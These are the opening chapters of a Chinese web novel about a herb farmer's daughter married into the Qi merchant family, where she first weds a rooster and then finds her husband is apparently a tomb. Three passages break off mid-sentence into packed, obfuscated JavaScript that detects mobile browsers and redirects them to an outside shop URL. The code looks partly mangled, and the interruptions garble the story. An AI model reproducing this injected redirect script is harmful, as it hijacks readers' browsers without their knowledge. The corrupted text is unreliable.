《平凉第一商》 1. 新妇进门 “鸳娘子，鸳娘子？快，准备进门了。” 正是鞭炮噼里啪啦，火星硝烟笼雾中，喜婆子又低低催促了几声，见她还傻愣了，笑嘻嘻地拽了拽柒奺的胳膊。 柒奺抬起双眼，目光掠过却扇，但见夕阳织晚霞，照壁琉璃铺红瓦，黄昏渐落，她却恍惚了：“啊……啊？你叫我？” 婆子连忙将喜扇扶正，推着柒奺朝堂内走去：“可不是叫你么？娘子，你可得放松些，别叫长辈们见了笑话。” 柒奺将那扇子端在脸前，挡住自己的白眼。心想小女子行不更名坐不改姓，我本叫柒奺，你却“鸳娘子、鸳娘子”地喊个不停，天晓得你叫的是谁？ 柒奺本是平凉郊县一个普通药农之女，父母早亡，爷爷病重，听媒人说是祁家的公子病重，需要赶紧娶个娘子冲喜，这天大好事才能落到柒奺头上。虽然她从未见过什么祁家公子，也深知这无异于身赴火坑，可为了给爷爷治病，她还是亲口应承下来。 沈氏自是瞧不上柒奺的，问名时又觉得她这名字不吉利，便自作主张替她改了个拗口名字“柒（大弗fú）鸳”，柒奺很不习惯。 祁家大堂堂内已是座无虚席，祁家各房长辈盛装华服，分宾而坐。 “大嫂，大家都到齐了，怎还不见我大哥出来？” 说话的，是祈家二房的老爷祈桓。 平凉祈家，是平凉城内排得上名号的商贾大家，以经营药材原料为主。二十多年前，祈家老大祈铄继承家业，无奈祈铄自幼多病，子嗣缘浅，膝下仅一独子，却打小不学无术。老二祈桓虽继承无多，却经营得当，算是几兄弟中最有出息的一个。 也怪不得今日，除了大嫂沈氏，便是他坐了这上位。 前些日子，老大祈铄动员平凉商会，集物资运往北方前线，怎料运输途中，遭遇了敌人的暗箭埋伏。 祈铄区区一阶商人，又是平凉公认的第一儒商，自是躲不了贼人的暗算，如今旧疾添新伤，昏迷了近大半个月，可是愁坏了沈氏，哪知没过多久，独子祁楚也……沈氏一个妇道人家顶着巨大压力，硬是撑了下来。 沈氏面不改色地摇了摇扇子，转而将话题兜了回去：“主君受伤未愈，今日不便出席。倒是你，今日这场面，怎把妾室一并带来了，待会儿让客人们看了笑话。” 听大嫂这么说，祈桓的正牌娘子凤氏，忍不住回头挖了小妾一眼：“你这没眼力见的东西，这是什么场合，容得你这贱人登堂入室？快快领着你那小子回去，别在这丢人现眼！” 妾室辛云娘却不肯挪身子，只摇扇子往后退了半步，一手还紧紧抓着十二岁的儿子祈崇。几十双眼睛纷纷投来，祁桓尽管自觉并无不妥，却也顾着脸面：“云娘，你先带着崇儿去外堂透透气。” 堂内已是议论纷纷，见辛云娘忸怩不肯，祈桓冲她使了使眼色，她才一跺脚，扭身拉了儿子的手绕出门去。 祈桓还想接着刚才的话题问大哥的情况，却见大嫂已然正坐，目不斜视，只得将话硬生生吞了回去。他转头，朝老四抛了个眼色，老四祈炜一句“大嫂”刚出嘴门子，沈氏便打断了他。 “这时辰也到了，快些行礼吧，别误了吉时。” “新妇进门喽！——” 柒奺在喜婆子的搀扶下，埋头进了堂内。扫一眼周围众人，皆是陌生面孔，个个喜笑颜开。宾客倒是一个不落，独独没见着新郎。 柒奺早已做好心理准备，哪怕对方是长得牛鬼蛇神般的人物，她也认了。她这样的出身，能嫁入祈家这样的商贾大家，也说得上是鲤鱼跃了龙门。可自打迎亲起，祈家公子便避不露面，倒让柒奺愈发好奇起对方的相貌来。 “吉时已到！——” 宾客交头接耳，这吉时都到了，却不见新郎出来。 沈氏提了口气，朝身侧吩咐了声。众人疑惑之际，只见一小厮身着红衣，双手捧一只绑着红绸的大公鸡出来，公然站在了柒奺身边。 顿时，宾客一片哗然。 沈氏勉强笑笑，说道：“今日，是小儿的新婚之礼，然小儿身体着实欠佳，连下床的力气也没有，此乃无奈之举，望众位海涵。” “这……这不合礼仪啊！”祈炜说道，“与公鸡行礼，这是、这是冥婚之礼啊！” 祈桓更是借题发作，一拍檀木桌道：“是啊大嫂，你这么做不是、不是咒我大侄子吗？……这婚事，断不能算数！老三、五弟妹，你们说是不是？” 三房祈浚提起茶杯，装作不闻，低头不语。 五房祈城几年前意外身故，五房娘子孔氏坐于末位，捏起手帕抹了抹鼻尖。良久后，才小声说道：“大嫂这么做……是有些不合规矩。” 沈氏早知此举会引来非议，仍气定神闲地说道： “我也不瞒着大家了，如今主君负伤，小儿也身染重疾，此时匆匆娶妻，实不得已而为之。我为吾儿纳柒氏，是过了六礼，下了婚书的，并无一处违反我文唐律令。如今小儿实在无法出席，也不能白白误了这大好日子不是。” 祈桓与祈炜换了个眼神，祈炜站起身说道：“可这柒家嫁女，行的却是冥婚之仪，柒家长辈怎肯同意？人姑娘怎肯同意？” 凤氏起身来到沈氏身边，拍了拍沈氏的肩膀：“是啊，大嫂嫂，这样子，怕是委屈了柒姑娘。我看，此举确实不合时宜，不如等楚郎身体彻底好了，再行婚礼也不迟。” “事已至此……”沈氏转头问柒奺，“鸳娘，你说，你可觉得委屈？” 满座的人都看向站在堂中的柒奺，她却不知沈氏是在叫自己，倒像个看热闹的外人。沈氏见她毫无反应，又唤了声“鸳娘”，柒奺才回过神来。 “您叫我？” “不叫你叫谁？”沈氏忍着气，又问了一遍，“你可觉得委屈？” “委屈？”柒奺顿了顿，忍不住瞥向一旁的大公鸡，“我、我不委屈，只是……” “只是什么？”凤氏忙问。 柒奺为难地说：“只是今晚……我也要和这大公鸡圆房不成？” “噗……”正喝着茶的老三祈浚，一口茶全喷了出来，喷得站在后面的婆子一跳而起。满堂屋的人都大笑起来，女人不敢笑得太大声，便死死捏着帕子捂住嘴，一时间满屋子花枝乱颤。 趁众人正笑着，沈氏赶紧使了个眼色，喜婆子便拉着柒奺开始行礼。祈桓还没反应过来，却见柒奺已经被喜婆子按着，与小厮手中的大公鸡一道，火速行完了三拜之礼。 “如今礼已成，你便是我祈家的新妇了。快快，让婆子搀扶你去新房内候着吧。” 柒奺只得胡乱向沈氏答了礼，随喜婆子离开了。 礼虽成，祈桓仍旧据理力争：“大嫂嫂，这么做怕是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527180|203563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不妥吧？老夫人尚且在山庄养病，此等大事，还是将老夫人接回来，大家商议之后再行定夺吧！” “老夫人处，我早已差人通知过了，她老人家并无异议。”沈氏站起身，拍了拍裙上的尘土，“老二，与其想着去打扰老夫人清养，不如快快去席上，同大家喝酒热闹热闹吧。” 见木已成舟，祈桓只感觉嘴里被人塞了只苍蝇，吐不出来咽不下去。喜酒未喝几口，他便匆匆找了个借口离去了。 打过二更天，柒奺百无聊奈地坐在床边甩腿。 却扇早就扔一边儿去了，她已是饥肠辘辘，肚子瘪进了后背里。她求外面的人给她点东西垫吧垫吧，可外面两人倒像两尊佛，完全不把她放在眼里。 柒奺只得气鼓鼓地坐回床边。听着喜宴的声音渐渐小了，外面守门的婆子也没有进来的意思，她变戏法似地从腰后掏出一袋炒豆子，捏了一把扔进嘴里，嚓嚓嚓地嚼起来。 不得不承认，这时候，她倒想念起那只大公鸡来——拔了毛，刨个坑，扔点柴，埋起来，来个叫花鸡，先来一条腿，再来一条腿，不比那吃席来得痛快？ “不行不行，柒奺，那可是你夫君，你怎么能把夫君闷烧了呢？” 柒奺捂着嘴哈哈大笑，顺势倒在床上，悠闲地跷起二郎腿。想着烧鸡味，嚼着炒豆子，柒奺是越嚼越又滋味，刚扔了一颗豆子进嘴里，门却被哗地推开了。柒奺吓得一坐而起，手上的袋子顺势甩了出去。 “哗啦啦——”一地的炒豆子天女散花似的滚开来，刚好滚在沈氏的脚边。 “这……” 沈氏的贴身侍女秦妈妈哪见过这场面，望着一地的豆子和腮帮子鼓鼓的柒奺，一时手足无措竟不道该说些什么。 沈氏见状也是头疼，可转念一想，这姑娘也是个苦命人，便将怒气生生压了下去。 “婆母……”柒奺刚要说话，嘴里又蹦出两颗豆子来，她连忙用手兜住。 沈氏看得直摇头叹气，命人搬了张凳子坐在桌旁：“我儿今晚，怕是无法与你圆房了。你且先住着吧，我派个丫鬟给你，没有传唤不得擅自出门。等过了明天，再给你另谋住处吧。” 趁沈氏说话的空档，柒奺忙将嘴里的豆子硬嚼生吞了。 喀喀嚓嚓伴着沈氏的说话声，惹得沈氏后牙槽都咬紧了。 “另谋住处？”柒奺总算咽下最后一口，便迫不及待地问，“婆母，这是什么意思？” “问这么多做什么。”沈氏从手腕上取下一串紫檀念珠，捏在手里盘拨起来，“你既嫁入我祈家，便要守规知礼，不该问的事情不要多问，不该说的事情不可多说。” “儿媳知道了。”可没一会儿，柒奺又忍不住说道，“可……即便郎君病重，我也应当床前榻后伺候郎君才是，实在不行……也得让我见郎君一面啊！” 柒奺觉得甚是奇怪，是骡子还是马样，她既进了门，也犯不着再这么神神秘秘的了，哪怕长个鸡模狗样，她还能把夫君反休了不成？ 见婆母不言语，柒奺朝天翻了个白眼，心里闷燥得慌。 真是死也不叫人死个明白。 沈氏也不想多言，她缓缓站起身来，在秦妈妈的搀扶下走出房门。临到门口，沈氏停下脚步，转头意味深长地对柒奺说： “明日之后换了住处，你自然就能见到你夫君了。” 2. 郎君在哪？ 新婚第二日，按例柒奺应去拜见公婆，可等来等去却不见传唤。 柒奺只觉得这祁家怪异得很，可门口两个忠心婆子像闷葫芦没长嘴似的，任柒奺怎么软磨硬泡也问不出个名堂来。好在，沈氏送了个不满十四岁的小丫鬟瓶儿给她，柒奺便立马向瓶儿打听，这祈家到底是个什么情况。 瓶儿身形瘦小，脸色有些蜡黄，府里的丫鬟衣服在她身上也不太合称。 她一听柒奺发问，便整个匍匐在地上，怯生生地说道：“娘子，奴婢、奴婢也不知道啊，奴婢还是娘子你进门的头两天，才被买进府里的……” 柒奺有些泄气，思来想去，也不知这祈家大娘子葫芦里究竟卖的什么药。她只是听说祁家小郎君病重，求不得体面人家的闺女，娶她入门，不过是为半条命的小郎君延续香火，可不给见郎君，又延哪门子香火？ 恍神过来，柒奺才发现，瓶儿仍伏跪在地上，忙起身将她扶起：“你别这样，瓶儿，快快起来，以后可不许再跪了。” “这怎么行，瓶儿贱奴之身，若不循规蹈矩，定是要被打死的。” “你快先起来再说。”柒奺硬将瓶儿从地上拉起来，又将她按在凳子上，“这祈家不过商贾之家，比贱民又能强得了多少，我看他们也不敢随意草菅人命。况且这祈家老爷被称为‘平凉第一儒商’，素有宽厚仁善的美名，不会动不动打死人的。” 瓶儿听了，却不以为然：“可奴婢听说……平凉城是文唐第一商城，这城中几位大商贾，可是连官府都要忌惮几分。连官府都不敢拿他们怎么样，我们为奴为婢，命都捏在他们手里，又怎敢坏了规矩呢。” 柒奺一想也是。 所谓“士农工商”，倘若在别处，她作为药农之女，嫁给商贾人家也算是下嫁。可这里却不同，祈家虽比不上那姜陶代李四大家族，却也勉勉强强排得上第五。听闻祈家仅有一独子，名唤祈楚，若需择偶，便是那小官之女也是能配得的，如何能轮得到她？ 柒奺回过神来，还是对瓶儿说道： “无论如何，只你我二人时，便不必拘礼。瓶儿，其实我的出身，也不比你好上多少。我父母本是平凉的药农，无奈前几年天灾租重，家中无钱无粮，他们做了半辈子药农，却买不起治病的草药……最后，只剩我一人，与爷爷相依为命。怎料后来，爷爷亦病重……若不是得婆母青眼，也许我也不得不卖身为奴，甚至被卖入青楼楚馆，与你同病相怜了。” 瓶儿听柒奺说起自己的身世，也不觉辛酸，眼眶顷刻便红了。 她倒是个心地纯良的姑娘，抹抹泪花，握起柒奺的手说：“如今娘子嫁入祈家，便是要享福了，比瓶儿要好上不少呢，娘子莫要伤心了。” 柒奺勉强笑了笑，说道：“瓶儿，大娘子既将你给了我，便是你我二人有缘。放心，我会好好待你，定不叫你再挨饿受冻。” “谢谢娘子……” 瓶儿正激动地要给柒奺跪下磕头，房门终于被推开了。 门口的婆子面无表情地说：“请小娘子去前厅拜见长辈。” “知道了。” 柒奺连忙起身整理衣裙，正要抬腿出门去，又被婆子伸手拦住：“奴婢有几句话，还请小娘子记清楚了。待会儿面见长辈，长辈们若是问起娘子或是郎君的情况，娘子只管说郎君病重无法下床，娘子日夜服侍，便要怠慢长辈了。说完，立马请辞回来，不可多留。” 柒奺似懂非懂地点点头，问婆子：“那郎君呢？” “小郎君自是无法见客。”婆子回答，“娘子还请记住我刚才说的话，其余莫要多言。” 柒奺一噎，像是吞了口há蟆，只能闷在肚子里吱哇乱叫。 果然，面见长辈时，柒奺只说了一句婆子教的话，便匆匆被人领了下去。她听那二叔四叔执意想要见公爹和郎君，却都被沈氏一一驳了回来，柒奺离开没多久，沈氏也称身困体乏，起身离开了。 柒奺如今是揣了一肚子疑问。 当初沈氏明明白白说过，聘柒奺，是为了在祁家公子撒手人寰之前留下一男半女，女儿将来也可招赘，以便能继承家业。以此为交换的是，柒奺也可有一处栖身，不必因走投无路卖身为奴，或沦落秦楼楚馆。百年之后，亦可入祈家祖坟，有个归处，不必成那无人祭拜的孤魂野鬼。 可如今，柒奺是连郎君的人花花都没见着，何谈一男半女呢？没有这一男半女，她将来又何以在祈家立足呢？ 瓶儿伺候她吃过晚饭时，天已经黑尽。 柒奺终于等来了沈氏，这次来的是沈氏，她身边，还跟着秦妈妈和两三个婆子。进了门后，沈氏二话不说，便指使婆子们将柒奺屋内的东西收拾起来。 柒奺见这阵势，忽而有些兴奋：“婆母是要带我去见郎君了吗？” 沈氏有些嫌弃地看向柒奺：“瞧你这样子，真是没点半分女子的矜持！” 柒奺立马噤声，乖乖站在一旁。她已经想好了，无论这祈家公子长得多么“惊天地泣鬼神”，她也得好好服侍、尽心照顾，争取能在他断气之前怀上孩子。 柒奺母亲去世得早，虽从未教导柒奺男女之事，她却也知道，这事儿是一个人是办不成的。 不然，男女何故要婚配？ 不过柒奺还是想得简单，以为她只要见到了祈家公子，两人睡在一张床上，就能有孕。而只要她能怀孕，小心保得孩子出生，便能在这陌生的祈家站稳脚跟了。 正浮想联翩时，婆子们已经收拾好了柒奺的东西。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527181|203563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “走吧。”沈氏吩咐秦妈妈，“给小娘子拿顶帷帽戴上，遮严实些。” 柒奺和瓶儿，随着众人来到偏门外，外面早已停着辆骡车，两名小厮在车旁候着。不等柒奺多问，沈氏便示意秦妈妈将柒奺和瓶儿送上骡车，还没坐稳，骡车便行走起来…… 整个过程小心翼翼、鬼鬼祟祟的，有种说不出的怪异。 骡车四周都挂着黑帐，瞧不见外面的光景，外头自然也瞧不见轿里的光景。沈氏没有上车跟去，但派了心腹的秦妈妈与柒奺瓶儿同去。 坐在车里，柒奺不觉忐忑，忍不住又问秦妈妈：“郎君在何处？怎的还要坐车呢？” 秦妈妈却只是板着一张脸，生硬地回答：“小娘子到地儿就知道了。” 骡车一路颠簸，颠得柒奺和瓶儿的心都要散了，不知走了多久。好不容易，骡车渐渐慢下来，最终稳稳停下。柒奺迫不及待地撩起帘子一看，这里另有一处偏僻的宅子，似是很久无人居住，深更半夜，黑灯瞎火，阴风阵阵。 祈家公子不是病重吗？怎住在这么偏远破旧的宅子里？ 看着这光景，柒奺心里已经有了一丝不祥的预感。 秦妈妈没有停歇，领着柒奺和瓶儿，跨进了宅子里。这宅子纵向极深，要走上不少时间，才能走到最里面的小院。路过石质屏风，抬眼一看，小院尽头竟依靠着山体，只是山不高，被两棵极其高大的槐树遮住了大半。 秦妈妈打起火折子，点了盏灯笼提在手中。 “小娘子，从今往后，你便住在这里。吃穿用度，我都会吩咐人送来，门外有小厮守着，娘子没事也不要随意出门，有什么需要告诉小厮便是。” “什么？”柒奺没回过神来。 秦妈妈说：“所谓‘嫁乞随乞、嫁叟随叟’，小娘子既已嫁于我家小郎君，便在此陪伴郎君。若有需要，大娘子会派人传唤小娘子过去，若无传唤，还请小娘子谨记为妇之礼，谨持守身，侍奉夫君，不可有违。大娘子的话我已转达了，小娘子还请收拾收拾住下吧。” “要……要住在这里？”瓶儿紧紧攥着柒奺的衣袖，已是抖得声音也听不清了。 秦妈妈没有回答，支使两名小厮将行李包裹放在廊下，转身便要离开。柒奺这才回过神来，问秦妈妈：“等等……那郎君，究竟在哪里？” 秦妈妈顿了顿，又回过身来。 她将手中的灯笼塞到柒奺手里，指了指两棵槐树下面：“娘子还请自己去看吧。” 柒奺举着灯笼，慢慢朝那槐树下走去，瓶儿抖抖索索地踩着小碎步，也寸步不离地跟着柒奺。 柒奺吞了口唾沫，靠近那槐树下面，鼓起勇气抬起灯笼一看—— 面前，是一座汉白玉砌的坟墓。 3. 儿大不中留 “桓郎，不早了，快喝口参汤润润，早些歇息吧。” 深夜，祈桓仍留在书房里，外面已打了三更。凤氏心疼郎君，亲手炖了参汤来探望，祈桓只瞥了一眼，示意她将参汤放下。 祈桓侧过身去，拿起一本药书在烛灯下看，却良久都不翻一页。 凤氏心疼，小声安慰道：“桓郎，事已至此，咱就再等等，静观其变吧。” 祈桓听了，顿觉胸中一股瘴气涌上脑门，“砰”的一声，将书卷砸在书案上。 “你也是，那沈氏竟然拿只公鸡出来糊弄我们，你也不晓得多说两句阻止！真是荒谬……我大哥素来体弱，生育能力也弱，就得这么一个独子，如今也重病缠身，这可是我夺回祈家产业的大好机会啊！谁能料到那沈氏，竟搞出这么一出……若这新妇有了身孕，将来生下一男半女，我这半生心血，可就要尽付东流了！” 凤氏却不以为然，劝说道：“桓郎，你多虑了吧……那祈楚如今可是重病，连床都下不得的，他这一时半会儿，也……也不可能让那新妇怀孕吧？” “那又如何？”祈桓拂袖道，“若我那大侄子没有娶亲，我便还有理由，要求宗族耆老将产业交给我，他父子俩如今皆是病重，指不定这事儿就成了！可沈氏这么一操办，大哥家有望后继有人，我还有什么理由去要呢！” 凤氏沉默了片刻，大嫂嫂这么一出，的确有了继续把持祈家产业的正当理由。 “可我总觉得哪里怪得很。”凤氏说，“我那大侄子，不是三年前来信说，去了北方秦起大将军的队伍当了个大头兵……怎的前段时间突然又回来了，还总说病重避而不见呢？” “难道我不知道有问题吗？”祈桓冷哼道，“可沈氏将口风关得紧，一丝风都透不出来，祈楚如今究竟是死是活，谁能知道，谁又能验证呢？” “总归……是有办法的吧？” 祈桓没有回答，重新拿起书，却烦躁地将书一掷：“罢了，你快回去休息吧，我自会安置！” 凤氏心中泛起委屈：“桓郎难道……又要去那狐媚子处安置吗？” 可如今祈桓心烦意乱，除了辛云娘的香云窝，怕是无处慰藉。 如今被凤氏说中，他心虚，却只能嘴上逞强：“你瞧你那样子，哪有半分当家主母的度量？做女人，岂能像你如此善妒！你快回去吧，别在这杵着了，我看着更闹心！” 凤氏双眼一红，转身呜咽着快步跑开了。跑出书房门外，却见自己儿子——祈家二房的嫡长子祈嵩，带着名小厮等候在廊下。 自打从大房的婚宴上回来，爹爹就将自己关在书房，对谁都没句好声气。凤氏作为大娘子，自然要前来安抚，可祈嵩知道爹爹的脾性，害怕他为难娘亲，便担忧地等在门外。 果不其然，凤氏还是哭着出来了。 “……嵩儿？你、你怎在这儿站着？”凤氏转头飞快拭去泪水，又忙拉起儿子的手说，“快别去打扰你爹爹了，他最近事多冗杂，别让他再替你操心了。” 祈嵩皱着眉头：“爹爹他又惹您哭了？” 凤氏鼻子一酸，强忍着泪笑了笑：“瞎说，我只是困了，眼睛酸涩……不说了，嵩儿，送母亲回房去吧。” “送到了？” 清晨，祈家大娘子沈氏正坐在镜前，在秦妈妈的服侍下，戴上钗环首饰。她端详着铜镜中的自己，不过区区一月不到，她却感觉自己老了好几岁。 秦妈妈一面给沈氏递钗环，一面小声说道：“送到了，小娘子已经在别院住下，奴婢是看着她安顿下来才走的。” “唉……可惜了这柒家姑娘，身世本就可怜，如今却要独守孤坟，还未尝过滋味，便要守一辈子寡……可如果我楚儿不遭此横祸，她这样的出身修养，也不可能进得了我祈家的门。” 沈氏不由地叹了口气。 想起自己怀胎十月、辛苦三日才生下的儿子祈楚，真真是玉一般的人儿。等儿子大了，识字练武，虽顽皮了些，却也是天资聪慧，少年才俊。 “我早就知道，我家楚郎，与那平凉城司户家的薛宛情投意合，原本，我也有意成了这个美事。只可惜如今这情况，若是司户家，绝不肯让女儿遭此大罪，唉……也算是有缘无分吧。” 所谓儿大不中留。 三年前，祈楚不过十六，浑身少年意气。他最后一次回家，便是告知父母自己参了军，要去秦起大将军的队伍，到北方抗击铁厥。三年以来，做母亲的整日担惊受怕，却还是收到了噩耗—— 祈楚战死沙场，送回来的，只有他带血的战甲，和父亲亲手送给他的玉珏。 祈家如今摇摇欲坠，沈氏才不得不强掩伤痛，将此事力压下来。给儿子筹划婚事前，沈氏特意去山庄拜见了老太太，痛诉郎君的不幸，儿子的早夭，以及其他几房的虎视眈眈，她走投无路，只求老太太能替她拿个主意。 老太太听说儿子中箭，原本着急想要回去，听到这些，又双腿一软，跌坐下去。 可到底是瞧过风浪的人，老太太很快镇定下来，不徐不慢，将解困的法子告诉沈氏，并让她自己拿主意——可以说，若没有老太太在背后支撑，沈氏绝难将此事办成。 一步一步，如履薄冰。 钗环妆好，秦妈妈扶沈氏起身，说道：“我瞧柒小娘子也不差，出身虽贫了些，可论品貌，也勉强配得上咱们小郎君。” 沈氏冷笑一声：“我也是瞧她生得还算端正，可惜是个粗俗的，没读过几天书，说话净是口无遮拦。我们祈家好歹被称为‘儒商’，虽是商贾出身，诗书却也不落旁人，若我楚儿托梦给我，怕是要怪罪我这为娘的了。” 见沈氏说着又要伤感，秦妈妈忙宽慰道：“大娘子，你就别难过了，当心自己的身子。” 正说着，一名丫鬟匆匆前来：“大娘子，主君已经醒了，要大娘子过去说话呢！” 床榻上，祈铄已经醒来，正在丫鬟的服侍下喝着汤药。沈氏一见郎君已然能坐起来说话，一时间激动得热泪盈眶，忙扑向床边夺下汤药亲自服侍。 祈铄喝了两口苦汤，便摇头摆手不愿再喝：“瑛娘，我听人说，你竟在我昏睡之时，替我儿娶亲了？究竟怎么回事，楚儿不是在战场上吗，怎么回来了？” “楚儿他……”沈氏顿了顿，才说道，“楚儿受伤了，又在北方受了寒气，所以……” “什么？楚儿受伤了？” 祈铄激动难抑，一股腥甜上涌，随即惊天动地大咳一通，吓得沈氏脸色苍白。祈铄还未咳完，便执意要下床：“快……我要见见楚儿……他究竟伤势如何！” 沈氏好不容易才将祈铄安抚下来，只说他身体也不好，原本就有心疾，如今又当心口中了一箭，断不可再过了病气。 沈氏哀伤又难以表露，只能勉强找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527182|203563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些理由劝说：“原本替楚儿娶妻，也是无奈之举，我也是想着，能为我祈家冲冲喜气……无论如何，如今楚儿有了正妻，这心也能定下来了，有娘子照顾，他兴许也能好得快些……” 祈铄沉默了片刻，终于又躺回床榻上。 沈氏刚要松口气，祈铄又说道：“你替楚儿求了哪家姑娘？罢了，我如今也好多了，今日晚些时间，就让新妇来拜见吧。无论哪家姑娘进了我祈家的门，我们都得好好对待人家——瑛娘，你虽当了婆母，也万不可苛待儿媳妇。” “可儿媳妇她……”沈氏为难了。 “怎的，我这副病躯，连新妇也见不得了？” “铄郎，你这是说的什么话。”沈氏只得应承下来，对秦妈妈吩咐道，“今日晚饭后，让小娘子来拜见公爹。” 小厮将话带去别院的时候，柒奺正盘腿坐在那座气派的汉白玉坟墓前，一边烧纸钱，一边愤懑地骂着： “好啊，你们祈家还敢称自己是‘儒商’，我呸！我原本还想着，你长得像骡子像马还像鸡，我柒奺都认了，没想到你啊……你这，上圆下方，中间还竖个牌儿！我现在可是王八钻火坑——憋气还带火了我……我、我柒奺这辈子，算毁在你这石墩子手上了！” 瓶儿正在石阶下拾掇青菜，听柒奺这么说，也只能唉声叹气：“娘子，你都骂了两三个时辰不带重样儿的了……我这听着都累，快喝口水歇歇吧。” “两三个时辰？我看我得天天骂、时时骂，要是能把这死鬼骂得从坟里爬起来才好呢！” 柒奺往火盆里扔完最后的纸钱，起身走到廊下，一屁股坐在石阶上。 打眼望去，这宅子虽修得气派，却偏僻破旧，平日里不说人，连只鸟儿都懒得落脚。她和瓶儿两个姑娘住在这里，倒像是被放逐了，食宿全凭自理，又没有自由，鸟兽虫鱼样样都比她们活得潇洒自在。 “唉……本以为娘子你苦尽甘来，没想到……”瓶儿住了嘴，换了个话题，“不过娘子，你说，郎君他能听到吗？会不会大半夜的变成鬼，来找我们索命？” 瓶儿说着，脸色瞬间变得煞白。 柒奺却冷笑道：“他若是敢来，我定让他回去时脸比牛头还肿、比马面还长，叫黑白无常也直呼见鬼了！” “娘子倒是个胆大的。”瓶儿笑笑，问柒奺，“可……这往后，娘子你该怎么办？” “我出阁前，还与滢儿约好了，回门时要带点心给她，也不知道爷爷的病情好转了些没……”柒奺出了口恶气，心情倒是松快了许多，“罢了，还能怎么办，这里有吃有住，也比外头强些，姑且走一步看一步吧，倒是委屈你了，瓶儿。” “瓶儿不委屈。瓶儿能跟娘子在一块，一点儿也不觉得委屈。” 主仆俩执手，相视一笑。 柒奺倒是爽快了，房檐上伏着的两个人影，却忍不住同时打了个哆嗦。两人慢慢将身体放下去，翻身躺在瓦楞上，长长抒了口气。 “嘶——我咋听着这么渗人呢……”一袭黑衣的平南山，用大手搓了搓两条胳膊，“楚兄，你老娘不是给你娶了个娘子，这是娶了个阎王啊！” 平南山用双手死死捂住嘴，“咯咯咯”笑得好似公鸡打嗝。 祈楚呼地一坐而起，把好端端的发髻搓成了鸡窝： “我不过耽搁了几日，这就……真是荒谬！实在是荒天下之大谬！” 4. 独活 祈楚自然没有战死。 早在两个月前，秦起率领的北固军势如破竹，攻入了铁厥都城播罗城下。铁厥首领忽勒派使臣至军中递呈投降书，以北构山、从水为界，签订十年停战协议。 这场大战，持续了七年之久。 秦起大将军战功赫赫，不仅攻入铁厥都城，还降服了诸如赤勒、嘎斯、罗罗、突禄等小国。秦起也因此战功名留青史，被文唐辉帝策封“天策大将军”，军中士气大增。 祈楚和平南山这几个大头兵，没有跟着秦起的队伍北上征战，留在了从水以南驻扎。而那时，平凉商会在祈楚父亲祈铄的带领下，亲自将棉纱药材等物资送往前线。 当平南山将这消息告诉祈楚时，他完全不敢相信。 自己的父亲患有心疾，从小体弱，却亲自押送物资，到这刀剑无眼的战场上来了……当年父亲可是以性命要挟，绝不要他离家参军的啊！ 他心系父亲的安危，便主动请求前去护送押运物资的队伍。 平凉以北极为荒凉，刚入秋便朔风阵阵，目之所及皆是一片肃杀。 等他们与商队汇合时，祈楚远远便看见那一溜长长的马队，驮着小山似的物资，艰难地行走在崎岖不平的草原上。他的双眼搜索着父亲，终于发现一个瘦弱的身影，为了推动马车前行，整个人都佝偻下去，像一截折弯的树干。 这个场景，自那以后，时常浮现在祈楚的脑海里。 “快看，有埋伏！” 不知谁吼了一声。 荒草的掩盖下，几支银晃晃的箭头反射出日光，直指这支蚂蚁般的商队。 这是铁厥首领二弟卡十的部下。就在忽勒同意投降议和的同时，卡十带了一支精兵南下，想要突袭北固军的大本营，造成后方溃败、两面夹击之势。当他们碰上这支载满重要物资的商队时，便起了掠夺之心。 结果自是北固军出其不意，打了卡十一个措手不及。可卡十狡猾，并不恋战，立即率领队伍向从水退去。 敌军撤退后，祈楚策马狂奔，至父亲身边翻身跃下。他突觉天旋地转——父亲中了流箭，那一箭正中胸口。 “父亲……您没事吧？”祈楚抽出腰间匕首，奋力将剑柄削去，“父亲，你怎的、怎的到这战场上来了？母亲她知道吗？” “楚儿？……是你吗？” 祈铄抚着胸口，想说话，却觉得气短，猛喘了好几口气，才发出虚弱的声音： “万……万幸没有射中要害……楚儿……你离家时说，商人不过逐利，于……于家国社稷无益……可我想告诉你，商……同样可以为社稷、为民生……父亲同你一样……从未、从未忘记过还报于民，还报于国家……” “父亲，您这是……” 祈楚紧紧捏着那柄断箭，望着虚弱至极的父亲，头脑一片混沌。 他忆起自己不顾反对、离家参军的那一天，对父亲说的那句狂言：“商人不过逐利，东观时变、善识低昂，又有何用？于百姓民生何益，于家国社稷何益？儿有家国侠义之志，不屑与尔等为伍也！” 祈楚悔恨无比，当初为何要说这番掏人心肺的话——何况对方，还是自己的父亲。 援兵赶来，军医随行，祈铄失血过多昏死过去。 幸而，保住了性命。 